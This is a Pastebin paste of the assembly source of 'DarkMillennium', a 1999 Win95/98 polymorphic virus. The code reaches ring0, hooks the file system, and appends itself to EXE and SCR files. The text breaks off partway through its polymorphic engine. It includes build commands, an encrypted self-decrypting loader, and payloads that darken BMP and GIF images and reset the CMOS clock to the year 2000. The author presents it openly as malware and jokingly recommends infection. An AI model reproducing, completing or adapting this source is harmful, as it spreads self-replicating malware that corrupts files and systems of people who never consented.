Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ; DarkMillennium Project
- ; developed by Clau / Ultimate Chaos
- ;
- ; The Project is a Win95/98 compatible virus.
- ; Also this is my first virus that infects PE files.
- ;
- ; Greets goes to all Ultimate Chaos members and all people in VX scene.
- ; Respect to all of you.
- ;
- ;----------------
- ; DESCRIPTION |
- ;----------------
- ;
- ; on program load :
- ; - it proccess a polymorphic decryptor
- ; - it is made in 2 parts
- ; - 1. Finding the key that encryption was made with (between 0 ... 65535)
- ; - 2. Decrypt the code with that key
- ; - check if it is already resident
- ; - if not, go into ring0
- ; - get memory with GetHeap
- ; - copy itself into allocated memory
- ; - hook the API (InstallFileSystemAPIhook)
- ; -return to host program
- ; on FS calls, if IFSFN_OPEN/IFSFN_RENAME/IFSFN_FILEATRIB
- ; - check if extension is EXE/SCR
- ; - check if the file format is PE
- ; - if so, infect the file
- ; - Generate random polymorphic decryptor, and write it to file
- ; - Encrypt the code with a simple XOR method using a random key witch is never saved
- ; It use only 2 bytes buffer for encryption, it encrypt 2 bytes at a time and write them
- ; into the file, until all the code is encrypted and written. This method is slower,
- ; but low memory is used.
- ; - check for a condition and if it is true then display a message box trough VxD call
- ; payloads, the condition is the number of infected files be equal to infected_nr_trigger
- ; - thanks goes to Midnyte (member of Ultimate Chaos, coder, GFXer) for helping me with this nice payload
- ; - on BMP and GIF open they will go darker and darker on every open
- ; - on some BMPs and GIFs the effect is more cool, I can say strange
- ;
- ;----------------------------------------
- ; Polymoprhic engine description |
- ;----------------------------------------
- ;
- ; This is my first poly engine.
- ; - random junk code
- ; - do nothing instructions (instructions that do not interfer with the decryptor)
- ; - they are 1, 2 or more bytes instructions, and more instructions combined
- ; - 1 byte - cmc, clc, stc, nop
- ; - 2 bytes - a range of INTs
- ; - > 2 bytes - it can generate random MOV, PUSH, POP ... infact all instructions
- ; that are used in decryptor, without interfering with the decryptor (it use regs
- ; that are not used in decrypt process)
- ; - more ways to do the same thing instructions
- ; example : MOV EAX, 12345678h <=> PUSH 12345678h
- ; POP EAX
- ; - the decryptor size can be ~ 3 times bigger then the original decryptor
- ; - if the decryptor is smaller then the decryptor before, the space between it and the encrypted code
- ; will be filled with junk.
- ;
- ;
- ; Compile with:
- ; tasm32 /m3 /ml darkmillennium.asm
- ; tlink32 /Tpe /aa /x darkmillennium.obj, darkmillennium.exe, , import32.lib
- ;
- ; report any bugs to clau@ultimatechaos.org
- ;
- .386p
- .model flat
- extrn ExitProcess:proc
- extrn MessageBoxA:proc
- VxDCall macro vxd_id, service_id
- int 20h
- dw service_id
- dw vxd_id
- endm
- IFSMgr = 0040h ; VxD service
- GetHeap = 000dh
- InstallFileSystemAPIhook = 0067h
- Ring0_FileIO = 0032h
- UniToBCSPath = 0041h
- IFSFN_OPEN = 36
- IFSFN_RENAME = 37
- IFSFN_FILEATTRIB = 33
- R0_opencreatefile = 0d500h ; open/create file
- R0_readfile = 0d600h ; read a file, no context
- R0_writefile = 0d601h ; write to a file, no context
- R0_closefile = 0d700h ; close a file
- exception_int = 3
- exe_ext = 'EXE.'
- scr_ext = 'RCS.'
- bmp_ext = 'PMB.'
- gif_ext = 'FIG.'
- virussize = _end - Start
- virussize_plus_buffers = virussize + ( _end_2 - _end )
- polyengine_size = _end - GenDecryptor
- infected_nr_trigger = 200
- .code
- Begin:
- push 64
- push offset w_title
- push offset copyright
- push 0
- call MessageBoxA
- jmp Start
- .data
- ;-------------------- Start Code -------------------
- Start: call Delta
- Delta: mov esi, esp
- mov ebp, dword ptr ss:[esi]
- sub ebp, offset Delta
- pushad
- lea esi, [ebp + key - Start] ; address of code key
- add esi, offset Start
- xor di, di ; key for decryption
- find_loop: inc di
- mov ax, [esi] ; load code key in eax
- xor ax, di ; decrypt it with the key from edi
- cmp ax, 9090h ; check if edi key is OK
- jnz find_loop ; if not jump to find_loop
- ; now edi = the key for decryption
- lea esi, [ebp + Encr_Code - Start]
- add esi, offset Start
- mov ecx, virussize
- decr_loop: xor word ptr [esi], di
- add esi, 2
- sub ecx, 2
- cmp ecx, 1
- jg decr_loop
- popad
- ; "alocate" space equal to current decryptor size, incase that the next generated decryptors
- ; will be bigger, and it will be bigger then this one
- ; this space will be filled with random junk instructions
- db ($ - offset Start) * 2 dup (90h) ; for big decryptors not overwrite Data Zone
- Encr_Code:
- key dw 9090h
- jmp virus_code
- ;-------------------- Data Zone -------------------
- IDT_Address dq 0
- flag db 0
- newaddress dd 0
- exception dd 0
- old_offset dd 0
- filename db 260 dup (0)
- handle dd 0
- crt_move dd 0
- peheader dd 0
- S_Align dd 0
- F_Align dd 0
- sec_ptr dd 0
- Old_EIP dd 0
- SOI dd 0
- virusplace dd 0
- imagebase dd 0
- infected_files dw 0
- SEH_nextpointer dd ?
- SEH_oldpointer dd ?
- SEH_errorhandler dd ?
- IMAGE_DOS_HEADER struc
- MZ_magic dw ?
- MZ_cblp dw ?
- MZ_cp dw ?
- MZ_crlc dw ?
- MZ_cparhdr dw ?
- MZ_minalloc dw ?
- MZ_maxalloc dw ?
- MZ_ss dw ?
- MZ_sp dw ?
- MZ_csum dw ?
- MZ_ip dw ?
- MZ_cs dw ?
- MZ_lfarlc dw ?
- MZ_ovno dw ?
- MZ_res dw 4 dup (?)
- MZ_oemid dw ?
- MZ_oeminfo dw ?
- MZ_res2 dw 10 dup (?)
- MZ_lfanew dd ?
- IMAGE_DOS_HEADER ends
- IMAGE_DOS_HEADER_SIZE = SIZE IMAGE_DOS_HEADER
- IMAGE_FILE_HEADER struc
- PE_Magic dd ?
- Machine dw ?
- NumberOfSections dw ?
- TimeDateStamp dd ?
- PointerToSymbolTable dd ?
- NumberOfSymbols dd ?
- SizeOfOptionalHeader dw ?
- Characteristics dw ?
- IMAGE_FILE_HEADER ends
- IMAGE_FILE_HEADER_SIZE = SIZE IMAGE_FILE_HEADER
- IMAGE_DATA_DIRECTORY struc
- dd_VirtualAddress dd ?
- dd_Size dd ?
- IMAGE_DATA_DIRECTORY ends
- IMAGE_DIRECTORY_ENTRIES struc
- DE_Export IMAGE_DATA_DIRECTORY ?
- DE_Import IMAGE_DATA_DIRECTORY ?
- DE_Resource IMAGE_DATA_DIRECTORY ?
- DE_Exception IMAGE_DATA_DIRECTORY ?
- DE_Security IMAGE_DATA_DIRECTORY ?
- DE_BaseReloc IMAGE_DATA_DIRECTORY ?
- DE_Debug IMAGE_DATA_DIRECTORY ?
- DE_Copyright IMAGE_DATA_DIRECTORY ?
- DE_GlobalPtr IMAGE_DATA_DIRECTORY ?
- DE_TLS IMAGE_DATA_DIRECTORY ?
- DE_LoadConfig IMAGE_DATA_DIRECTORY ?
- DE_BoundImport IMAGE_DATA_DIRECTORY ?
- DE_IAT IMAGE_DATA_DIRECTORY ?
- IMAGE_DIRECTORY_ENTRIES ends
- IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
- IMAGE_OPTIONAL_HEADER struc
- OH_Magic dw ?
- OH_MajorLinkerVersion db ?
- OH_MinorLinkerVersion db ?
- OH_SizeOfCode dd ?
- OH_SizeOfInitializedData dd ?
- OH_SizeOfUninitializedData dd ? ; Uninitialized Data
- OH_AddressOfEntryPoint dd byte ptr ? ; Initial EIP
- OH_BaseOfCode dd byte ptr ? ; Code Virtual Address
- OH_BaseOfData dd byte ptr ? ; Data Virtual Address
- OH_ImageBase dd byte ptr ? ; Base of image
- OH_SectionAlignment dd ? ; Section Alignment
- OH_FileAlignment dd ? ; File Alignment
- OH_MajorOperatingSystemVersion dw ? ; Major OS
- OH_MinorOperatingSystemVersion dw ? ; Minor OS
- OH_MajorImageVersion dw ? ; Major Image version
- OH_MinorImageVersion dw ? ; Minor Image version
- OH_MajorSubsystemVersion dw ? ; Major Subsys version
- OH_MinorSubsystemVersion dw ?
- OH_Win32VersionValue dd ? ; win32 version
- OH_SizeOfImage dd ? ; Size of image
- OH_SizeOfHeaders dd ? ; Size of Header
- OH_CheckSum dd ? ; unused
- OH_Subsystem dw ? ; Subsystem
- OH_DllCharacteristics dw ? ; DLL characteristic
- OH_SizeOfStackReserve dd ? ; Stack reserve
- OH_SizeOfStackCommit dd ? ; Stack commit
- OH_SizeOfHeapReserve dd ? ; Heap reserve
- OH_SizeOfHeapCommit dd ? ; Heap commit
- OH_LoaderFlags dd ? ; Loader flags
- OH_NumberOfRvaAndSizes dd ? ; Number of directories
- UNION ; directory entries
- OH_DataDirectory IMAGE_DATA_DIRECTORY\
- IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?)
- OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ?
- ends
- ends
- IMAGE_OPTIONAL_HEADER_SIZE = SIZE IMAGE_OPTIONAL_HEADER
- IMAGE_SECTION_HEADER struc
- SH_Name db 8 dup (?)
- UNION
- SH_PhusicalAddress dd byte ptr ?
- SH_VirtualSize dd ?
- ends
- SH_VirtualAddress dd byte ptr ?
- SH_SizeOfRawData dd ?
- SH_PointerToRawData dd byte ptr ?
- SH_PointerToRelocations dd byte ptr ?
- SH_PointerToLinenumbers dd byte ptr ?
- SH_NumberOfRelocations dw ?
- SH_NumberOfLinenumbers dw ?
- SH_Characteristics dd ?
- IMAGE_SECTION_HEADER ends
- IMAGE_SECTION_HEADER_SIZE = SIZE IMAGE_SECTION_HEADER
- mz_header IMAGE_DOS_HEADER ?
- pe_header IMAGE_FILE_HEADER ?
- oh_header IMAGE_OPTIONAL_HEADER ?
- section IMAGE_SECTION_HEADER ?
- ;-------------------- Real Code Zone ------------------
- virus_code: mov eax, dword ptr fs:[00h]
- mov dword ptr [ebp + SEH_nextpointer], eax
- mov dword ptr [ebp + SEH_oldpointer], eax
- lea eax, [ebp + return_to_host]
- mov dword ptr [ebp + SEH_errorhandler], eax
- lea eax, [ebp + SEH_nextpointer]
- mov dword ptr fs:[00h], eax
- sidt [ebp + IDT_Address]
- mov esi, dword ptr [ebp + IDT_Address + 2]
- add esi, exception_int * 8
- mov dword ptr [ebp + exception], esi
- mov bx, word ptr [esi + 6]
- shl ebx, 10h
- mov bx, word ptr [esi]
- mov dword ptr [ebp + old_offset], ebx
- lea eax, [ebp + offset Ring0]
- mov word ptr [esi], ax
- shr eax, 10h
- mov word ptr [esi + 6], ax
- mov eax, 0c000e990h
- cmp dword ptr [eax], '2000'
- jne go_into_ring0
- jmp already_installed
- go_into_ring0: int exception_int ; This will jump us to Ring0 proc in ring0 mode
- already_installed: mov esi, dword ptr [ebp + exception]
- mov ebx, dword ptr [ebp + old_offset]
- mov word ptr [esi], bx
- shr ebx, 10h
- mov word ptr [esi + 6], bx
- return_to_host: mov eax, dword ptr [ebp + SEH_oldpointer]
- mov dword ptr fs:[00h], eax
- exit: cmp ebp, 0
- je generation_1
- mov eax, [ebp + Old_EIP]
- add eax, [ebp + imagebase]
- jmp eax
- generation_1: push 0
- call ExitProcess
- Ring0 proc
- pusha
- ; Get some memory
- mov eax, virussize_plus_buffers + 100
- push eax
- patch1_val equ GetHeap + 256 * 256 * IFSMgr
- patch1 label far
- VxDCall IFSMgr, GetHeap
- pop ecx
- or eax, eax
- jz no_free_mem
- ; Copy into memory
- xchg eax, edi
- lea esi, dword ptr [ebp + Start]
- push edi
- mov ecx, _end - Start
- rep movsb
- pop edi
- mov dword ptr [ebp + newaddress], edi
- mov dword ptr [edi + delta1 - Start], edi
- ; hook API
- lea eax, [edi + API_hook - Start]
- push eax
- patch2_val equ InstallFileSystemAPIhook + 256 * 256 * IFSMgr
- patch2 label far
- VxDCall IFSMgr, InstallFileSystemAPIhook
- pop ebx
- mov [edi + nexthook - Start], eax
- jmp success
- no_free_mem: jmp back_to_ring3
- success: mov eax, 0c000e990h
- mov dword ptr [eax], '2000'
- mov byte ptr [edi + flag - Start], 0
- back_to_ring3: popad
- iretd
- Ring0 endp
- API_hook: push ebp
- mov ebp, esp
- sub esp, 20h
- push ebx
- push esi
- push edi
- db 0bfh
- delta1 dd 0
- cmp byte ptr [edi + flag - Start], 1
- je over_now
- cmp dword ptr [ebp + 12], IFSFN_OPEN ; open action
- je action_ok
- cmp dword ptr [ebp + 12], IFSFN_RENAME ; rename action
- je action_ok
- cmp dword ptr [ebp + 12], IFSFN_FILEATTRIB ; attributes action
- je action_ok
- jmp over_now
- action_ok: mov byte ptr [edi + flag - Start], 1
- pusha
- lea esi, [edi + filename - Start]
- mov eax, [ebp + 16]
- cmp al, 0ffh
- je no_path
- add al, 40h
- mov byte ptr [esi], al
- inc esi
- mov byte ptr [esi], ':'
- inc esi
- mov byte ptr [esi], '\'
- ; Unicode conversion
- no_path: push 0 ; BCS/WANSI code
- push 260 ; maximum filename
- mov eax, [ebp + 28] ; get IOREQ
- mov eax, [eax + 12]
- add eax, 4
- push eax ; push filename
- push esi ; push destination
- patch3_val equ UniToBCSPath + 256 * 256 * IFSMgr
- patch3 label far
- VxDCall IFSMgr, UniToBCSPath
- add esp, 4 * 4
- add esi, eax
- mov byte ptr [esi], 0
- ; Check extension for '.EXE'
- cmp dword ptr [esi - 4], exe_ext
- je check_2
- ; Check extension for '.BMP'
- cmp dword ptr [esi - 4], bmp_ext
- jne check_gif_ext
- call bmp_Payload
- ; Check extension for '.GIF'
- check_gif_ext:
- cmp dword ptr [esi - 4], gif_ext
- jne check_scr_ext
- call gif_Payload
- ; Check extension for '.SCR' = screensaver
- check_scr_ext:
- cmp dword ptr [esi - 4], scr_ext
- jne not_exe
- ; Open the file
- check_2: lea esi, [edi + filename - Start]
- call file_open
- jc not_exe
- mov dword ptr [edi + handle - Start], eax
- ; Read DOS header
- lea esi, [edi + mz_header - Start]
- mov ebx, dword ptr [edi + handle - Start]
- mov ecx, IMAGE_DOS_HEADER_SIZE
- mov edx, 0
- call file_read
- ; Check if really EXE file ( 'MZ' signature )
- lea esi, [edi + mz_header - Start]
- mov ax, word ptr [esi.MZ_magic]
- cmp ax, 5a4dh
- jne fileclose
- ; Locate the PE header
- mov esi, dword ptr [esi.MZ_lfanew]
- cmp esi, 500h
- ja fileclose
- ; Save the pos of the PE header
- mov dword ptr [edi + crt_move - Start], esi
- mov dword ptr [edi + peheader - Start], esi
- ; Read the PE header
- lea edx, [edi + pe_header - Start]
- mov ebx, dword ptr [edi + handle - Start]
- mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE
- xchg esi, edx
- call file_read
- add dword ptr [edi + crt_move - Start], IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE
- ; Check for 'PE' signature
- lea esi, [edi + pe_header - Start]
- mov eax, dword ptr [esi.PE_Magic]
- cmp eax, 00004550h
- jne fileclose
- ; Check for DLL signature
- cmp dword ptr [esi.Characteristics], 2000h
- je fileclose
- ; Locate the last section and read it
- xor eax, eax
- mov ax, word ptr [esi.NumberOfSections]
- mov ecx, IMAGE_SECTION_HEADER_SIZE
- dec eax
- mul ecx
- mov esi, eax
- add esi, dword ptr [edi + crt_move - Start]
- mov dword ptr [edi + sec_ptr - Start], esi
- ; Read the last section
- lea edx, [edi + section - Start]
- mov ecx, IMAGE_SECTION_HEADER_SIZE
- mov ebx, dword ptr [edi + handle - Start]
- xchg esi, edx
- call file_read
- ; Verify if already infected
- lea esi, [edi +oh_header - Start]
- cmp dword ptr [esi.OH_Win32VersionValue], '2000'
- je fileclose
- mov eax, dword ptr [esi.OH_SectionAlignment]
- mov [edi + S_Align - Start], eax
- mov eax, dword ptr [esi.OH_FileAlignment]
- mov [edi + F_Align - Start], eax
- mov eax, dword ptr [esi.OH_AddressOfEntryPoint]
- mov [edi + Old_EIP - Start], eax
- mov eax, dword ptr [esi.OH_SizeOfImage]
- mov [edi + SOI - Start], eax
- mov eax, dword ptr [esi.OH_ImageBase]
- mov [edi + imagebase - Start], eax
- ; Update the section
- lea esi, [edi + section - Start]
- mov eax, dword ptr [esi.SH_PointerToRawData]
- add eax, dword ptr [esi.SH_VirtualSize]
- mov dword ptr [edi + virusplace - Start], eax
- mov eax, dword ptr [edi.SH_SizeOfRawData]
- add eax, virussize
- mov ecx, dword ptr [edi + F_Align - Start]
- push eax
- push ecx
- xor edx, edx
- div ecx
- pop ecx
- sub ecx, edx
- pop eax
- add eax, ecx
- mov dword ptr [esi.SH_SizeOfRawData], eax
- mov eax, dword ptr [esi.SH_VirtualSize]
- add eax, virussize
- mov dword ptr [esi.SH_VirtualSize], eax
- ; Set the new characteristics for the section
- or dword ptr [esi.SH_Characteristics], 00000020h ; code
- or dword ptr [esi.SH_Characteristics], 20000000h ; executable
- or dword ptr [esi.SH_Characteristics], 80000000h ; writable
- ; Update the PE header
- ; first the size of image wich is aligned to section alignment
- lea esi, [edi + oh_header - Start]
- mov eax, dword ptr [edi + SOI - Start]
- add eax, virussize
- mov ecx, dword ptr [edi + S_Align - Start]
- push eax
- push ecx
- xor edx, edx
- div ecx
- pop ecx
- sub ecx, edx
- pop eax
- add eax, ecx
- mov dword ptr [esi.OH_SizeOfImage], eax
- ; Address of Entrypoint to our virus ( Old Virtual Address + New Virtual Size - Virus Size )
- lea esi, [edi + section - Start]
- mov eax, dword ptr [esi.SH_VirtualAddress]
- add eax, dword ptr [esi.SH_VirtualSize]
- sub eax, virussize
- lea esi, [edi + oh_header - Start]
- mov dword ptr [esi.OH_AddressOfEntryPoint], eax
- ; Mark the infection
- mov dword ptr [esi.OH_Win32VersionValue], '2000'
- ; Write section to file
- lea edx, [edi + section - Start]
- mov ecx, IMAGE_SECTION_HEADER_SIZE
- mov ebx, dword ptr [edi + handle - Start]
- mov esi, dword ptr [edi + sec_ptr - Start]
- xchg edx, esi
- call file_write
- ; Write headers to file
- lea edx, [edi + pe_header - Start]
- mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE
- mov ebx, dword ptr [edi + handle - Start]
- mov esi, dword ptr [edi + peheader - Start]
- xchg edx, esi
- call file_write
- ; Patch the code
- mov cx, 20cdh
- mov word ptr [edi + patch1 - Start], cx
- mov eax, patch1_val
- mov dword ptr [edi + patch1 - Start + 2], eax
- mov word ptr [edi + patch2 - Start], cx
- mov eax, patch2_val
- mov dword ptr [edi + patch2 - Start + 2], eax
- mov word ptr [edi + patch3 - Start], cx
- mov eax, patch3_val
- mov dword ptr [edi + patch3 - Start + 2], eax
- mov word ptr [edi + patch4 - Start], cx
- mov eax, patch4_val
- mov dword ptr [edi + patch4 - Start + 2], eax
- mov word ptr [edi + patch5 - Start], cx
- mov eax, patch5_val
- mov dword ptr [edi + patch5 - Start + 2], eax
- ; reset the infected_files counter
- mov ax, 0
- mov word ptr [edi + infected_files - Start], ax
- ; Generate decryptor
- pushad
- mov ebp, edi
- call GenDecryptor
- popad
- ; Call Payload
- call Payload
- ; Write decryptor
- mov edx, edi
- mov ecx, Encr_Code - Start
- mov ebx, dword ptr [edi + handle - Start]
- mov esi, dword ptr [edi + virusplace - Start]
- xchg edx, esi
- call file_write
- mov edx, dword ptr [edi + virusplace - Start]
- add edx, Encr_Code - Start
- mov dword ptr [edi + virusplace - Start], edx ; update virusplace
- ; Get random key for encryption in cx
- mov eax, 0FFFFh
- call random_in_range ; will return in ax a random number
- xchg ax, cx
- ; Write encrypted area to file
- lea edx, [edi + Encr_Code - Start] ; location to copy and encrypt
- xor eax, eax ; counter
- write_loop: call copy_in_buffer
- inc edx
- inc edx
- push eax ; save counter
- push ecx ; save the key
- push edx ; save location pointer in code
- ; Write buffer in file
- mov ebx, dword ptr [edi + handle - Start]
- mov ecx, 2
- mov edx, dword ptr [edi + virusplace - Start]
- lea esi, [edi + encryption_buffer - Start]
- call file_write
- mov edx, dword ptr [edi + virusplace - Start]
- inc edx
- inc edx
- mov dword ptr [edi + virusplace - Start], edx
- pop edx ; restore loc. pointer
- pop ecx ; restore the key
- pop eax ; restore counter
- inc eax
- inc eax
- cmp eax, _end - Encr_Code
- jle write_loop
- ; Close the file
- fileclose: mov ebx, dword ptr [edi + handle - Start]
- call file_close
- not_exe: popa
- over_now: mov byte ptr [edi + flag - Start], 0 ; Set flag to 0
- mov eax, [ebp + 28]
- push eax
- mov eax, [ebp + 24]
- push eax
- mov eax, [ebp + 20]
- push eax
- mov eax, [ebp + 16]
- push eax
- mov eax, [ebp + 12]
- push eax
- mov eax, [ebp + 08]
- push eax
- db 0b8h
- nexthook dd 0
- call [eax]
- add esp, 6 * 4
- pop edi
- pop esi
- pop ebx
- leave
- ret
- ; Copy a word from code in encryption_buffer and encrypt it
- ; cx = key for encryption
- ; edx = pointer in code
- copy_in_buffer proc
- pushad
- mov bx, word ptr [edx]
- xor bx, cx
- mov [edi + encryption_buffer - Start], bx
- popad
- ret
- encryption_buffer dw 0
- copy_in_buffer endp
- get_rnd proc
- push bx
- xor bx, ax
- xor bx, cx
- xor bx, dx
- xor bx, sp
- xor bx, bp
- xor bx, si
- xor bx, di
- in al, 40h
- xor bl, al
- in al, 40h
- add bh, al
- in al, 41h
- sub bl, al
- in al, 41h
- xor bh, al
- in al, 42h
- add bl, al
- in al, 42h
- sub bh, al
- xchg bx, ax
- pop bx
- ret
- get_rnd endp
- ; Ring0 File_IO
- ;-------------------------
- Ring0_File_IO proc
- patch4_val equ Ring0_FileIO + 256 *256 * IFSMgr
- patch4 label far
- VxDCall IFSMgr, Ring0_FileIO
- ret
- Ring0_File_IO endp
- file_open proc
- mov bx, 2
- mov cx, 0
- mov dx, 1
- mov eax, R0_opencreatefile
- call Ring0_File_IO
- ret
- file_open endp
- file_close proc
- mov eax, R0_closefile
- call Ring0_File_IO
- ret
- file_close endp
- file_read proc
- mov eax, R0_readfile
- call Ring0_File_IO
- ret
- file_read endp
- file_write proc
- mov eax, R0_writefile
- call Ring0_File_IO
- ret
- file_write endp
- Payload proc
- ; Check the number of infected files
- pushad
- mov ax, word ptr [edi + infected_files - Start] ; check the number of infected files
- inc ax ; increase the counter with 1
- mov word ptr [edi + infected_files - Start], ax
- cmp ax, infected_nr_trigger
- jne not_yet
- mov ax, 0 ; reset the counter
- mov word ptr [edi + infected_files - Start], ax
- ; the counter will also be reseted at in every new infected file
- ; (on every infected_nr_trigger will trigger a message box)
- lea eax, [edi + WinTitle - Start]
- mov [edi + TitleOff - Start], eax
- lea eax, [edi + WinText - Start]
- mov [edi + TextOff - Start], eax
- lea ebx, [edi + WinBox - Start]
- patch5_val equ 001Ah + 256 * 256 * 002Ah
- patch5 label far
- VxDCall 002Ah, 001Ah
- ; give a try with random_in_range
- ; (number between 0 and 10000)
- not_yet: mov eax, 10000
- call random_in_range
- cmp eax, 500
- jg end_payload
- ; as you see if the random number =< 500 then test the PC for year 2000 compatibilite :)
- ; infact it will jump into year 2000
- ; the chances to do it are 5%
- mov al, 07h
- out 70h, al
- mov al, 01h
- out 71h, al ; day of the month
- mov al, 08h
- out 70h, al
- mov al, 01h
- out 71h, al ; month to January
- mov al, 09h
- out 70h, al
- mov al, 00h
- out 71h, al ; year (0 = 2000)
- ; by the way ... this is a good test, you will see if your computer is compatible with year 2000 ;)
- ; so i recommend you get infected with DarkMillennium
- end_payload:popad
- ret
- WinBox dd ?
- butt1 dw 0
- butt2 dw 0001
- butt3 dw 0
- TitleOff dd offset WinTitle
- TextOff dd offset WinText
- WinTitle db 'DarkMillennium Project',0
- WinText db 'DarkMillennium Project', 10, 'Copyright (C) 1999 by Clau/Ultimate Chaos', 10
- db 'www.ultimatechaos.org', 10
- db 'Greets to all VXers out there !', 0
- Payload endp
- copyright db 'DarkMillennium Project', 13, 10, 'Copyright (C) 1999 by Clau/Ultimate Chaos', 0
- copyright_end:
- bmp_Payload proc
- pushad
- ; Open the file
- lea esi, [edi + filename - Start]
- call file_open
- mov dword ptr [edi + handle - Start], eax
- ; Read file
- lea esi, [edi + gfx_buffer - Start]
- mov ebx, [edi + handle - Start]
- mov ecx, 256
- mov edx, 54
- call file_read
- ; Change the things arround
- lea esi, [edi + gfx_buffer - Start]
- mov ecx, 256
- bmp_dark: cmp byte ptr [esi], 5
- jl bmp_color_1
- sub byte ptr [esi], 5
- bmp_color_1:inc esi
- cmp byte ptr [esi], 5
- jl bmp_color_2
- sub byte ptr [esi], 5
- bmp_color_2:inc esi
- cmp byte ptr [esi], 5
- jl bmp_color_out
- sub byte ptr [esi], 5
- bmp_color_out:
- add esi, 2
- sub ecx, 4
- cmp ecx, 0
- jne bmp_dark
- ; Write file
- lea esi, [edi + gfx_buffer - Start]
- mov ecx, 256
- mov ebx, [edi + handle - Start]
- mov edx, 54
- call file_write
- ; Close file
- mov ebx, [edi + handle - Start]
- call file_close
- popad
- ret
- bmp_Payload endp
- gif_Payload proc
- ; Thanks goes to MidNyte for helping me with informations and code
- pushad
- ; Open the file
- lea esi, [edi + filename - Start]
- call file_open
- mov dword ptr [edi + handle - Start], eax
- ; Read file
- lea esi, [edi + gfx_buffer - Start]
- mov ebx, eax
- mov ecx, 10Dh
- mov edx, 0000h
- call file_read
- xor ecx, ecx
- mov cl, byte ptr [edi + gfx_buffer + 000Ah - Start]
- and cl, 00000111b
- cmp cl, 0
- je exit_gif_payload ; somethin' is wrong
- mov ax, 2
- get_colours:shl ax, 1
- loop get_colours
- mov cx, ax
- shl ax, 1
- add cx, ax
- lea esi, [edi + gfx_buffer - Start]
- add esi, 000Dh
- push edi
- mov edi, esi
- darken: lodsb
- cmp al, 14h
- jb skip_entry
- sub al, 14h
- stosb
- skip_entry: loop darken
- pop edi
- ; Write buffer back to file
- lea esi, [edi + gfx_buffer - Start]
- mov ebx, [edi + handle - Start]
- mov ecx, 10Dh
- mov edx, 0 ; loc. to write in file
- call file_write
- exit_gif_payload:
- ; Close file
- mov ebx, [edi + handle - Start]
- call file_close
- popad
- ret
- gif_Payload endp
- ; ------------------------------------------------------------
- ;| Poly Engine |
- ; ------------------------------------------------------------
- ; Generate decryptor
- ; EBP = location for decryptor
- GenDecryptor proc
- xchg ebp, edi
- call InitRegGenerator
- call GenerateRegisters
- ; call 00000000h
- mov al, 0E8h
- stosb
- mov eax, 00000000h
- stosd
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; mov reg1, ESP
- mov cl, byte ptr [ebp + reg_1 - Start]
- mov ch, 04h ; ESP
- mov ax, 0001h
- xchg ebp, edi
- call GenPutX1X2
- xchg ebp, edi
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; mov reg_2, ss:[reg_1]
- mov cl, byte ptr [ebp + reg_2 - Start]
- mov ch, byte ptr [ebp + reg_1 - Start]
- mov ax, 0101h
- xchg ebp, edi
- call GenPutX1X2
- xchg ebp, edi
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; sub reg_2, offset Delta
- mov al, 81h
- stosb
- mov al, byte ptr [ebp + reg_2 - Start]
- add al, 0E8h
- stosb
- mov eax, offset Delta
- stosd
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; xchg reg_2, ebp
- mov al, 87h
- stosb
- mov al, byte ptr [ebp + reg_2 - Start]
- add al, 0E8h
- stosb
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- call GenerateRegisters
- ; pushad
- mov al, 60h
- stosb
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; lea reg_1, [ebp + key - Start] -> key offset will be setted later
- mov al, 8Dh
- stosb
- mov al, byte ptr [ebp + reg_1 - Start]
- mov ebx, 8
- mul ebx
- add al, 85h
- stosb
- mov [ebp + var2 - Start], edi ; save EDI offset, for later use
- mov eax, 00000000h
- stosd
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; add reg_1, offset Start
- mov al, 81h
- stosb
- mov al, byte ptr [ebp + reg_1 - Start]
- add al, 0C0h
- stosb
- mov eax, offset Start
- stosd
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; xor reg_2, reg_2
- mov al, 33h
- stosb
- mov al, byte ptr [ebp + reg_2 - Start]
- mov ecx, eax
- mov ebx, 8
- mul ebx
- add al, cl
- add al, 0C0h
- stosb
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; inc reg_2
- mov [ebp + var1 - Start], edi ; save in var1 current pos for future use
- mov al, 40h
- add al, byte ptr [ebp + reg_2 - Start]
- stosb
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; mov reg_3, [reg_1]
- mov al, byte ptr [ebp + reg_3 - Start]
- mov cl, al
- mov ch, byte ptr [ebp + reg_1 - Start]
- mov ax, 0100h
- xchg ebp, edi
- call GenPutX1X2
- xchg ebp, edi
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; xor reg_3, reg_2
- mov ax, 3366h
- stosw
- mov al, byte ptr [ebp + reg_3 - Start]
- mov ebx, 8
- mul ebx
- add al, byte ptr [ebp + reg_2 - Start]
- add al, 0C0h
- stosb
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; cmp reg3, 9090h
- mov ax, 8166h
- stosw
- mov al, byte ptr [ebp + reg_3 - Start]
- add al, 0F8h
- stosb
- mov ax, 9090h
- stosw
- ; jne -inc reg_2 line-
- mov al, 75h
- stosb
- mov eax, [ebp + var1 - Start]
- sub eax, edi
- dec eax ; now JNE points to INC DI line
- stosb
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; Save the number of register that contain the key for decryption
- mov al, [ebp + reg_2 - Start]
- mov [ebp + reg_key - Start], al
- call GenerateRegisters
- call GenerateFuckRegs
- ; lea reg_1, [ebp + key - Start] -> key offset will be setted later
- mov al, 8Dh
- stosb
